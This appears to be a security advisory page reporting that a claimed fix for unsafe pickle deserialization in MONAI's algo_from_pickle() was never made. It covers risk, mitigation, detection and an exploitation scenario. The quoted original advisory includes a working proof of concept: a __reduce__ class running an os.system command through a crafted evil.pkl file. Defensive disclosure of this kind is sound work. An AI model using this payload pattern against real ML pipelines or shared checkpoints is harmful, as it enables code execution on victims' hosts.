AI Threat AlertA prior fix for a pickle deserialization vulnerability in MONAI's algo_from_pickle() function, tracked as GHSA-89gg-p5r5-q6r4 and supposedly resolved in v1.5.2, was never actually implemented — the vulnerable file has been unchanged since mid-2024, and all three unsafe pickle.loads() calls remain exploitable for remote code execution. With 117 downstream dependents and MONAI widely used in medical imaging AI pipelines that routinely exchange model checkpoints and algorithm templates between research teams, this is a realistic and high-impact attack surface even though there's no EPSS score, KEV listing, or public exploit yet to indicate active exploitation. The CVSS 7.8 rating reflects local execution requiring user interaction, but that interaction — opening a shared model artifact — is exactly the normal workflow in collaborative medical AI research and clinical pipeline development. Until the real fix ships, treat any pkl file loaded via algo_from_pickle() as untrusted code and block the function's use on files from outside your organization; verify you're on a version that actually replaces pickle with a safe deserialization method rather than trusting the v1.5.2 release notes, since this advisory demonstrates the vendor's prior patch claim was false. Monitor MONAI's GitHub advisories for a genuine fix and, in the interim, wrap any pickle loading of MONAI algorithm artifacts with an allowlisted Unpickler or move affected file exchange to a sandboxed environment.
What is the risk?
High risk despite the absence of KEV listing, EPSS score, or public exploit code — the vulnerability is trivially exploitable (textbook pickle __reduce__ RCE, no restricted Unpickler, no allowlist) and the PoC in this advisory confirms working code execution against the current release. The primary mitigating factor is that exploitation requires local file access and user interaction (a user or pipeline must invoke algo_from_pickle() on an attacker-supplied file), which limits mass remote exploitation but not targeted attacks against research collaborators, model-sharing platforms, or CI pipelines that auto-process uploaded checkpoints. The fact that a previously-published CVE claiming this was fixed (GHSA-89gg-p5r5-q6r4) turns out to be false materially raises risk for any organization that deprioritized this issue based on that earlier advisory.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| MONAI | pip | < 1.6.0 | 1.6.0 |
Do you use MONAI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 stepImmediate: audit all code paths that call monai.auto3dseg.utils.algo_from_pickle() and treat any input file not generated by your own trusted pipeline as hostile; do not accept pkl/algo files from external users, shared drives, or public repositories without isolation. Until MONAI ships a real fix, wrap pickle.loads() calls at these three sinks with a restricted Unpickler subclass implementing find_class() allowlisting, or run any untrusted deserialization inside a disposable sandbox/container with no network or filesystem access beyond the artifact itself. Do not rely on upgrading to v1.5.2 as a fix — verify directly against the current source of monai/auto3dseg/utils.py that pickle.loads() has actually been replaced or gated, since the vendor's prior advisory falsely claimed remediation. Detection: monitor for unexpected child processes or outbound connections spawned from Python processes importing monai.auto3dseg, and flag algo_from_pickle() calls against file paths outside your organization's controlled artifact store.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-qxq5-qhx6-94qw?
A prior fix for a pickle deserialization vulnerability in MONAI's algo_from_pickle() function, tracked as GHSA-89gg-p5r5-q6r4 and supposedly resolved in v1.5.2, was never actually implemented — the vulnerable file has been unchanged since mid-2024, and all three unsafe pickle.loads() calls remain exploitable for remote code execution. With 117 downstream dependents and MONAI widely used in medical imaging AI pipelines that routinely exchange model checkpoints and algorithm templates between research teams, this is a realistic and high-impact attack surface even though there's no EPSS score, KEV listing, or public exploit yet to indicate active exploitation. The CVSS 7.8 rating reflects local execution requiring user interaction, but that interaction — opening a shared model artifact — is exactly the normal workflow in collaborative medical AI research and clinical pipeline development. Until the real fix ships, treat any pkl file loaded via algo_from_pickle() as untrusted code and block the function's use on files from outside your organization; verify you're on a version that actually replaces pickle with a safe deserialization method rather than trusting the v1.5.2 release notes, since this advisory demonstrates the vendor's prior patch claim was false. Monitor MONAI's GitHub advisories for a genuine fix and, in the interim, wrap any pickle loading of MONAI algorithm artifacts with an allowlisted Unpickler or move affected file exchange to a sandboxed environment.
Is GHSA-qxq5-qhx6-94qw actively exploited?
No confirmed active exploitation of GHSA-qxq5-qhx6-94qw has been reported, but organizations should still patch proactively.
How to fix GHSA-qxq5-qhx6-94qw?
Immediate: audit all code paths that call monai.auto3dseg.utils.algo_from_pickle() and treat any input file not generated by your own trusted pipeline as hostile; do not accept pkl/algo files from external users, shared drives, or public repositories without isolation. Until MONAI ships a real fix, wrap pickle.loads() calls at these three sinks with a restricted Unpickler subclass implementing find_class() allowlisting, or run any untrusted deserialization inside a disposable sandbox/container with no network or filesystem access beyond the artifact itself. Do not rely on upgrading to v1.5.2 as a fix — verify directly against the current source of monai/auto3dseg/utils.py that pickle.loads() has actually been replaced or gated, since the vendor's prior advisory falsely claimed remediation. Detection: monitor for unexpected child processes or outbound connections spawned from Python processes importing monai.auto3dseg, and flag algo_from_pickle() calls against file paths outside your organization's controlled artifact store.
What systems are affected by GHSA-qxq5-qhx6-94qw?
This vulnerability affects the following AI/ML architecture patterns: training pipelines, model checkpoint/artifact exchange, ML pipeline automation (Auto3DSeg / NAS).
What is the CVSS score for GHSA-qxq5-qhx6-94qw?
GHSA-qxq5-qhx6-94qw has a CVSS v3.1 base score of 7.8 (HIGH).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0010.003ModelAML.T0011.000Unsafe AI ArtifactsAML.T0018.002Embed MalwareCompliance Controls Affected
What are the technical details?
Original Advisory
## Summary GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in `algo_from_pickle()` was fixed in v1.5.2. However, `monai/auto3dseg/utils.py` has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three `pickle.loads()` calls remain unchanged. The fix was never implemented. ## Vulnerable Code File: `monai/auto3dseg/utils.py` (last commit: 2024-07-12, unchanged in v1.5.2) ```python def algo_from_pickle(pkl_filename: str, ...): with open(pkl_filename, "rb") as f_pi: data_bytes = f_pi.read() data = pickle.loads(data_bytes) # SINK 1 — line 321, RCE fires here # isinstance/key checks happen AFTER deserialization — already too late algo_bytes = data.pop("algo_bytes") ... if len(template_paths_candidates) == 0: algo = pickle.loads(algo_bytes) # SINK 2 — line 350 else: for p in template_paths_candidates: algo = pickle.loads(algo_bytes) # SINK 3 — line 356 No Unpickler subclass, no find_class restriction, no allowlist. Why the Fix is Incomplete - monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8") - v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes - v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356 - GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch PoC import pickle, os class Exploit: def __reduce__(self): return (os.system, ('id > /tmp/rce_proof.txt',)) # Craft malicious pkl data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None} with open("/tmp/evil.pkl", "wb") as f: f.write(pickle.dumps(data)) # Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim with open("/tmp/evil.pkl", "rb") as f: data = pickle.loads(f.read()) # SINK 1 fires — RCE here algo = pickle.loads(data["algo_bytes"]) # SINK 2 fires print(open("/tmp/rce_proof.txt").read()) # uid=1000(user) gid=1000(user) groups=... Verified on monai v1.5.2 (utils.py verbatim source): [+] RCE CONFIRMED via algo_from_pickle(): desktop-5657tb1\woong Impact Any application or ML pipeline calling algo_from_pickle() with an attacker-supplied file path is vulnerable to full RCE. Medical AI workflows frequently exchange model checkpoints, making this a realistic attack vector.
Exploitation Scenario
A research collaborator, forum contributor, or compromised account uploads a MONAI Auto3DSeg 'algorithm template' or model checkpoint file — framed as a useful pretrained configuration — to a shared repository, mailing list, or model-sharing platform used by medical imaging teams. A data scientist or automated pipeline downloads the file and calls algo_from_pickle() to load it into their training or inference workflow. The malicious __reduce__ payload embedded in the pickle fires during deserialization, executing attacker-controlled OS commands with the privileges of the ML pipeline — potentially a GPU training host, a shared research server, or a CI/CD job — before any of the code's isinstance or key-validation checks ever run, since those happen after the unsafe pickle.loads() call.
Weaknesses (CWE)
CWE-502 — Deserialization of Untrusted Data: The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
- [Architecture and Design, Implementation] If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
- [Implementation] When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HReferences
Timeline
Related Vulnerabilities
CVE-2026-487059.3MONAI: NaN/inf DICOM input causes DoS and corrupt inference
Same package: monaiCVE-2025-587558.8MONAI: path traversal allows arbitrary file write
Same package: monaiCVE-2025-587568.8MONAI: unsafe deserialization in CheckpointLoader allows RCE
Same package: monaiCVE-2025-587578.8MONAI: unsafe pickle deserialization RCE in data pipeline
Same package: monaiCVE-2026-1008428.8MONAI: eval sandbox bypass allows code execution
Same package: monai